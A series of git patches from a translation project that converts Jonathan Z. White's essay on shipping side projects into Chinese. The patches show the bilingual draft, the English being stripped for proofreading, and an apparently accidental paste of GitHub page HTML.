+For example, I built [YC Careers](http://jonathanzwhite.github.io/yc-careers/) and [AtomSpace](https://atomspace.co/) to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of [ProductHunt](https://www.producthunt.com/posts/yc-careers) and AtomSpace booked $100 dollars from strangers within 6 hours of going live.比如，我做了 [YC Careers](http://jonathanzwhite.github.io/yc-careers/) 和 [AtomSpace](https://atomspace.co/) 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 一下子爬到了 [ProductHunt](https://www.producthunt.com/posts/yc-careers) 的榜首，AtomSpace 在上线6个小时就拿到了来自陌生人的一百美元订单。
 
-**The bigger the pain point you’re trying to solve, the easier it will be to find users.**
+**The bigger the pain point you’re trying to solve, the easier it will be to find users.你尝试解决多大的痛点，找用户就有多容易。**
 
-Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem.
+Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem. 同时，尝试从过个角度分析问题和解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。
 
-For further reading, [John Carmack on Idea Generation](https://amasad.me/carmack) and [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) are two great essays to get you started.
+For further reading, [John Carmack on Idea Generation](https://amasad.me/carmack) and [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) are two great essays to get you started. 想要了解更多的话，[John Carmack on Idea Generation](https://amasad.me/carmack) 和 [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) 这两篇文章是非常好的开始。
 
-### 4. Ditch the “good idea / bad idea” mindset
+### 4. Ditch the “good idea / bad idea” mindset 放弃”好主意/坏主意“的想法
 
-Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.
+Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.当你明确了你想要解决的问题并有了一个解决方案的时候，你可能会问自己这是不是一个好的点子。
 
-**Plenty of seemingly bad ideas have turned out to be great businesses.** For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz).
+**Plenty of seemingly bad ideas have turned out to be great businesses.** For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz). **相当一部分看起来很糟糕的点子最后被证明是超级棒的生意。** 比如，多年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。
 
 ![](https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png)
 
-The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better.
+The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better. 唯一验证你想法的办法就是做出一个产品来测试它。 找人聊聊，看看他们对你的解决方案是不是感兴趣。如果在你做出任何产品之前就有人原意为之付费那就再棒不过了。
 
-### 5. Ask for help
+### 5. Ask for help寻求帮助
 
-When working on a project, reach out to people and ask for their help. **You will be surprised at how many people are willing to pay it forward and help a complete stranger.**
+When working on a project, reach out to people and ask for their help. **You will be surprised at how many people are willing to pay it forward and help a complete stranger.** 当你在你的项目上埋头苦干的时候，记得寻求别人的帮助。 **你会很惊喜的发现竟然有这么多人原意去帮助一个陌生人（对，就是你）。**
 
-Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter.
+Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter. 我获得的最好的一部分建议就是来自于给别人发邮件或是推特（微博）私信。
 
-Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message.
+Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message. 在寻求帮助的时候，请提一些精确、有价值的问题。如果你需要关于设计的一些反馈，就把草稿发给别人；如果你需要营销方面的建议，就详细的列出你尝试过的方法。内容才是关键。如果别人没有回复你，请礼貌的再次询问 —— 有时候别人只是没注意到你的消息而已。
 
 ---
 
-Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.
+Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.开始你的兴趣项目吧。利用这个过程磨练自己，这样当机会来临的时候，你才能紧紧抓住。记住，机会总是青睐有准备的人。
 
-So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.
+So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.所以下次你有一个想法的时候，采取行动吧。找到一个问题，确定你的目标，坚持下去，别忘了学会寻求帮助。
 
-What are you working on right now? How can I help you? Leave me a note here or [tweet](https://twitter.com/jonathanzwhite) them to me on Twitter.
+What are you working on right now? How can I help you? Leave me a note here or [tweet](https://twitter.com/jonathanzwhite) them to me on Twitter.你现在在做神马项目呢？有什么是我能帮到你的吗？可以在这里或者我的 [tweet](https://twitter.com/jonathanzwhite) 下面留言。
 
-You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality.
+You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality. 我在 Medium 上每周都会发文。也可以关注我的 [Twitter](https://twitter.com/JonathanZWhite)，我会发一些关于设计、前端开发和虚拟现实的杂想。
 
-*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*
+*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*（可删？）
 
 ---
 

From d79d43a164f6b55b65e62ec465077a04873420a8 Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Fri, 7 Apr 2017 21:30:33 -0400
Subject: [PATCH 069/638] getting ready for proofreading

---
 ...ng-will-change-until-you-start-building.md | 64 +++++++++----------
 1 file changed, 32 insertions(+), 32 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index 26cc605b437..0fa8d19b2c3 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -8,80 +8,80 @@
 
 ![](https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png)
 
-# Nothing will change until you start building. 真正行动之前 你将一无所成
+# 真正行动之前 你将一无所成
 
-This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，有一个关于儿童的书籍，有帮助人们停车的APP、有一个更高效的打包礼物的方法，但问题是她总是犹豫不决：她又想法但却不知道从何开始。
+就在上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，有一个关于儿童的书籍，有帮助人们停车的APP、有一个更高效的打包礼物的方法，但问题是她总是犹豫不决：她又想法但却不知道从何开始。
 
-This is what I told her. **Start by building. Pick one project and do whatever you have to do to ship it.** If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it. 接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你像做一个APP，那就从草稿开始。任何人都可以做到这些。
+接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你像做一个APP，那就从草稿开始。任何人都可以做到这些。
 
-This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it. 这些建议对所有创新者都适用。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。
+这些建议对所有创新者都适用。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。
 
-The steps you take today will compound over time. Look at great product makers like [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), and [Sebastian Dobrincu](https://twitter.com/Sebyddd). **They don’t wait for the right opportunity.** They build and ship weekly. 你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品创造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 
+你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品创造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 
 
-In an interview on [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics), [Josh Pigford](https://twitter.com/Shpigford) disclosed that before he built Baremetrics, he had iterated through a *hundred* failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue. 在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的节目中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 现在， Baremetrics 每个月都会有 60，000 美金进账。
+在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的节目中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 现在， Baremetrics 每个月都会有 60，000 美金进账。
 
 
 ![](https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png)
 
-With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.记住这些，接下来的要说的，是我总结的一些来自成功的产品创作者朋友们的策略。
+记住这些，接下来的要说的，是我总结的一些来自成功的产品创作者朋友们的策略。
 
 ---
 
-### 1. Define your goal确定目标
+### 1. 确定目标
 
-Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就把钻研代码；如果你想获得上百个用户（”大量用户“ 会不会好点），就把精力用在销售上。
+在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就把钻研代码；如果你想获得上百个用户（”大量用户“ 会不会好点），就把精力用在销售上。
 
-**Define your goal early so you don’t get distracted and end up not achieving what you set out to do.** Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently. **尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、代码、销售等的能力。
+尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、代码、销售等的能力。
 
-### 2. Stay on track执行计划
+### 2. 执行计划
 
-Sometimes product makers fail to ship because they lose motivation. **Set small goals; meeting those goals will help you build momentum.** Small wins will compound. 有一些产品没能完的原因是作者在半路失去了动力。 **设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。** 小的成就累计起来也是很了不起的。
+有一些产品没能完的原因是作者在半路失去了动力。 **设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。** 小的成就累计起来也是很了不起的。
 
 ![](https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png)
 
-Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.另一个让你保持动力的建议就是让你的项目更加公开。在网上和你的同行们分享你的进展。人们很喜欢看到线框（wireframe 翻译成 ”框架“ 会不会好一点？）类的东西，并常常带来有价值的投入。
+另一个让你保持动力的建议就是让你的项目更加公开。在网上和你的同行们分享你的进展。人们很喜欢看到线框（wireframe 翻译成 ”框架“ 会不会好一点？）类的东西，并常常带来有价值的投入。
 
-One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.我自己找到的一个非常有用的保持动力的小秘诀是和朋友打赌。我对他们说，如果我在截止日期前没有完成某个任务，我就给他们一百刀。比如，我会在一个项目开始的两周内找到二十个人打赌。
+我自己找到的一个非常有用的保持动力的小秘诀是和朋友打赌。我对他们说，如果我在截止日期前没有完成某个任务，我就给他们一百刀。比如，我会在一个项目开始的两周内找到二十个人打赌。
 
-### 3. Solve a problem 解决一个问题
+### 3. 解决问题
 
-Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.解决一个问题。如果你自己也经历了这个问题那就再好不过了。问问你的朋友们他们都有哪些问题需要解决。
+解决一个问题。如果你自己也经历了这个问题那就再好不过了。问问你的朋友们他们都有哪些问题需要解决。
 
-For example, I built [YC Careers](http://jonathanzwhite.github.io/yc-careers/) and [AtomSpace](https://atomspace.co/) to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of [ProductHunt](https://www.producthunt.com/posts/yc-careers) and AtomSpace booked $100 dollars from strangers within 6 hours of going live.比如，我做了 [YC Careers](http://jonathanzwhite.github.io/yc-careers/) 和 [AtomSpace](https://atomspace.co/) 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 一下子爬到了 [ProductHunt](https://www.producthunt.com/posts/yc-careers) 的榜首，AtomSpace 在上线6个小时就拿到了来自陌生人的一百美元订单。
+比如，我做了 [YC Careers](http://jonathanzwhite.github.io/yc-careers/) 和 [AtomSpace](https://atomspace.co/) 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 一下子爬到了 [ProductHunt](https://www.producthunt.com/posts/yc-careers) 的榜首，AtomSpace 在上线6个小时就拿到了来自陌生人的一百美元订单。
 
-**The bigger the pain point you’re trying to solve, the easier it will be to find users.你尝试解决多大的痛点，找用户就有多容易。**
+**你解决越大的痛点，就越容易找到用户。**
 
-Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem. 同时，尝试从过个角度分析问题和解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。
+同时，尝试从过个角度分析问题和解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。
 
-For further reading, [John Carmack on Idea Generation](https://amasad.me/carmack) and [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) are two great essays to get you started. 想要了解更多的话，[John Carmack on Idea Generation](https://amasad.me/carmack) 和 [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) 这两篇文章是非常好的开始。
+想要了解更多的话，[John Carmack on Idea Generation](https://amasad.me/carmack) 和 [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) 这两篇文章是非常好的开始。
 
-### 4. Ditch the “good idea / bad idea” mindset 放弃”好主意/坏主意“的想法
+### 4. 放弃”好主意/坏主意“的想法
 
-Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.当你明确了你想要解决的问题并有了一个解决方案的时候，你可能会问自己这是不是一个好的点子。
+当你明确了你想要解决的问题并有了一个解决方案的时候，你可能会问自己这是不是一个好的点子。
 
-**Plenty of seemingly bad ideas have turned out to be great businesses.** For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz). **相当一部分看起来很糟糕的点子最后被证明是超级棒的生意。** 比如，多年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。
+**相当一部分看起来很糟糕的点子最后被证明是超级棒的生意。** 比如，多年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。
 
 ![](https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png)
 
-The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better. 唯一验证你想法的办法就是做出一个产品来测试它。 找人聊聊，看看他们对你的解决方案是不是感兴趣。如果在你做出任何产品之前就有人原意为之付费那就再棒不过了。
+唯一验证你想法的办法就是做出一个产品来测试它。 找人聊聊，看看他们对你的解决方案是不是感兴趣。如果在你做出任何产品之前就有人原意为之付费那就再棒不过了。
 
-### 5. Ask for help寻求帮助
+### 5. 寻求帮助
 
-When working on a project, reach out to people and ask for their help. **You will be surprised at how many people are willing to pay it forward and help a complete stranger.** 当你在你的项目上埋头苦干的时候，记得寻求别人的帮助。 **你会很惊喜的发现竟然有这么多人原意去帮助一个陌生人（对，就是你）。**
+** 当你在你的项目上埋头苦干的时候，记得寻求别人的帮助。 **你会很惊喜的发现竟然有这么多人原意去帮助一个陌生人（对，就是你）。**
 
-Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter. 我获得的最好的一部分建议就是来自于给别人发邮件或是推特（微博）私信。
+我获得的最好的一部分建议就是来自于给别人发邮件或是推特（微博）私信。
 
-Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message. 在寻求帮助的时候，请提一些精确、有价值的问题。如果你需要关于设计的一些反馈，就把草稿发给别人；如果你需要营销方面的建议，就详细的列出你尝试过的方法。内容才是关键。如果别人没有回复你，请礼貌的再次询问 —— 有时候别人只是没注意到你的消息而已。
+在寻求帮助的时候，请提一些精确、有价值的问题。如果你需要关于设计的一些反馈，就把草稿发给别人；如果你需要营销方面的建议，就详细的列出你尝试过的方法。内容才是关键。如果别人没有回复你，请礼貌的再次询问 —— 有时候别人只是没注意到你的消息而已。
 
 ---
 
-Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.开始你的兴趣项目吧。利用这个过程磨练自己，这样当机会来临的时候，你才能紧紧抓住。记住，机会总是青睐有准备的人。
+开始你的兴趣项目吧。利用这个过程磨练自己，这样当机会来临的时候，你才能紧紧抓住。记住，机会总是青睐有准备的人。
 
-So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.所以下次你有一个想法的时候，采取行动吧。找到一个问题，确定你的目标，坚持下去，别忘了学会寻求帮助。
+所以下次你有一个想法的时候，采取行动吧。找到一个问题，确定你的目标，坚持下去，别忘了学会寻求帮助。
 
-What are you working on right now? How can I help you? Leave me a note here or [tweet](https://twitter.com/jonathanzwhite) them to me on Twitter.你现在在做神马项目呢？有什么是我能帮到你的吗？可以在这里或者我的 [tweet](https://twitter.com/jonathanzwhite) 下面留言。
+你现在在做神马项目呢？有什么是我能帮到你的吗？可以在这里或者我的 [tweet](https://twitter.com/jonathanzwhite) 下面留言。
 
-You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality. 我在 Medium 上每周都会发文。也可以关注我的 [Twitter](https://twitter.com/JonathanZWhite)，我会发一些关于设计、前端开发和虚拟现实的杂想。
+ 我在 Medium 上每周都会发文。也可以关注我的 [Twitter](https://twitter.com/JonathanZWhite)，我会发一些关于设计、前端开发和虚拟现实的杂想。
 
 *P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*（可删？）
 

From 17076f6c10b447bd912ddd8326d699f6b796ed95 Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Fri, 7 Apr 2017 21:38:20 -0400
Subject: [PATCH 070/638] ...

---
 ...ng-will-change-until-you-start-building.md | 780 ++++++++++++++++--
 1 file changed, 733 insertions(+), 47 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index 26cc605b437..df8d0872aa7 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -1,90 +1,776 @@
-> * 原文地址：[Nothing will change until you start building.](https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc)
-> * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup)
-> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：[owenlyn](https://github.com/owenlyn)
-> * 校对者：
 
----
 
-![](https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png)
 
-# Nothing will change until you start building. 真正行动之前 你将一无所成
 
-This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，有一个关于儿童的书籍，有帮助人们停车的APP、有一个更高效的打包礼物的方法，但问题是她总是犹豫不决：她又想法但却不知道从何开始。
 
-This is what I told her. **Start by building. Pick one project and do whatever you have to do to ship it.** If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it. 接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你像做一个APP，那就从草稿开始。任何人都可以做到这些。
 
-This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it. 这些建议对所有创新者都适用。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8">
 
-The steps you take today will compound over time. Look at great product makers like [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), and [Sebastian Dobrincu](https://twitter.com/Sebyddd). **They don’t wait for the right opportunity.** They build and ship weekly. 你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品创造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 
 
-In an interview on [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics), [Josh Pigford](https://twitter.com/Shpigford) disclosed that before he built Baremetrics, he had iterated through a *hundred* failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue. 在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的节目中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 现在， Baremetrics 每个月都会有 60，000 美金进账。
 
+  <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/frameworks-612da304eac9a72f5d085232387f7f5cd82df6c73120fd97fcf0bdefacbd9b16.css" integrity="sha256-YS2jBOrJpy9dCFIyOH9/XNgt9scxIP2X/PC976y9mxY=" media="all" rel="stylesheet" />
+  <link crossorigin="anonymous" href="https://assets-cdn.github.com/assets/github-9e591dcc1f30d2a6ac3773da2f8c05987a4a148bae15713c4be9bb62b6e92b26.css" integrity="sha256-nlkdzB8w0qasN3PaL4wFmHpKFIuuFXE8S+m7YrbpKyY=" media="all" rel="stylesheet" />
+  
+  
+  
+  
 
-![](https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png)
+  <meta name="viewport" content="width=device-width">
+  
+  <title>gold-miner/nothing-will-change-until-you-start-building.md at master · xitu/gold-miner</title>
+  <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub">
+  <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub">
+  <meta property="fb:app_id" content="1401488693436528">
 
-With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.记住这些，接下来的要说的，是我总结的一些来自成功的产品创作者朋友们的策略。
+    
+    <meta content="https://avatars3.githubusercontent.com/u/10482599?v=3&amp;s=400" property="og:image" /><meta content="GitHub" property="og:site_name" /><meta content="object" property="og:type" /><meta content="xitu/gold-miner" property="og:title" /><meta content="https://github.com/xitu/gold-miner" property="og:url" /><meta content="gold-miner - 掘金翻译计划，翻译掘金上优质的英文文章" property="og:description" />
 
----
+  <link rel="assets" href="https://assets-cdn.github.com/">
+  <link rel="web-socket" href="wss://live.github.com/_sockets/VjI6MTUzNjk5MDc1OjI3Mjc3OGNhZDRiYTM2MTkwNmZlY2JkMjU0Yzk0ZTM3NTA2ODQ5YmY2YjVhZjQ5MGQ2Zjk2MDFhYmY3MWNhOWE=--8cce105fcf437c91c1329db1592a5bdce21162cd">
+  <meta name="pjax-timeout" content="1000">
+  <link rel="sudo-modal" href="/sessions/sudo_modal">
+  <meta name="request-id" content="CCFA:4F39:286AF75:3D45B97:58E83EAD" data-pjax-transient>
+  
 
-### 1. Define your goal确定目标
+  <meta name="selected-link" value="repo_source" data-pjax-transient>
 
-Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就把钻研代码；如果你想获得上百个用户（”大量用户“ 会不会好点），就把精力用在销售上。
+  <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU">
+<meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA">
+    <meta name="google-analytics" content="UA-3769691-2">
 
-**Define your goal early so you don’t get distracted and end up not achieving what you set out to do.** Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently. **尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、代码、销售等的能力。
+<meta content="collector.githubapp.com" name="octolytics-host" /><meta content="github" name="octolytics-app-id" /><meta content="https://collector.githubapp.com/github-external/browser_event" name="octolytics-event-url" /><meta content="CCFA:4F39:286AF75:3D45B97:58E83EAD" name="octolytics-dimension-request_id" /><meta content="4431857" name="octolytics-actor-id" /><meta content="owenlyn" name="octolytics-actor-login" /><meta content="fdd747e7d985040678fec5301f468cbc859690c07058cfaf6f1ffec23669be27" name="octolytics-actor-hash" />
+<meta content="/&lt;user-name&gt;/&lt;repo-name&gt;/blob/show" data-pjax-transient="true" name="analytics-location" />
 
-### 2. Stay on track执行计划
 
-Sometimes product makers fail to ship because they lose motivation. **Set small goals; meeting those goals will help you build momentum.** Small wins will compound. 有一些产品没能完的原因是作者在半路失去了动力。 **设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。** 小的成就累计起来也是很了不起的。
 
-![](https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png)
 
-Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.另一个让你保持动力的建议就是让你的项目更加公开。在网上和你的同行们分享你的进展。人们很喜欢看到线框（wireframe 翻译成 ”框架“ 会不会好一点？）类的东西，并常常带来有价值的投入。
+  <meta class="js-ga-set" name="dimension1" content="Logged In">
 
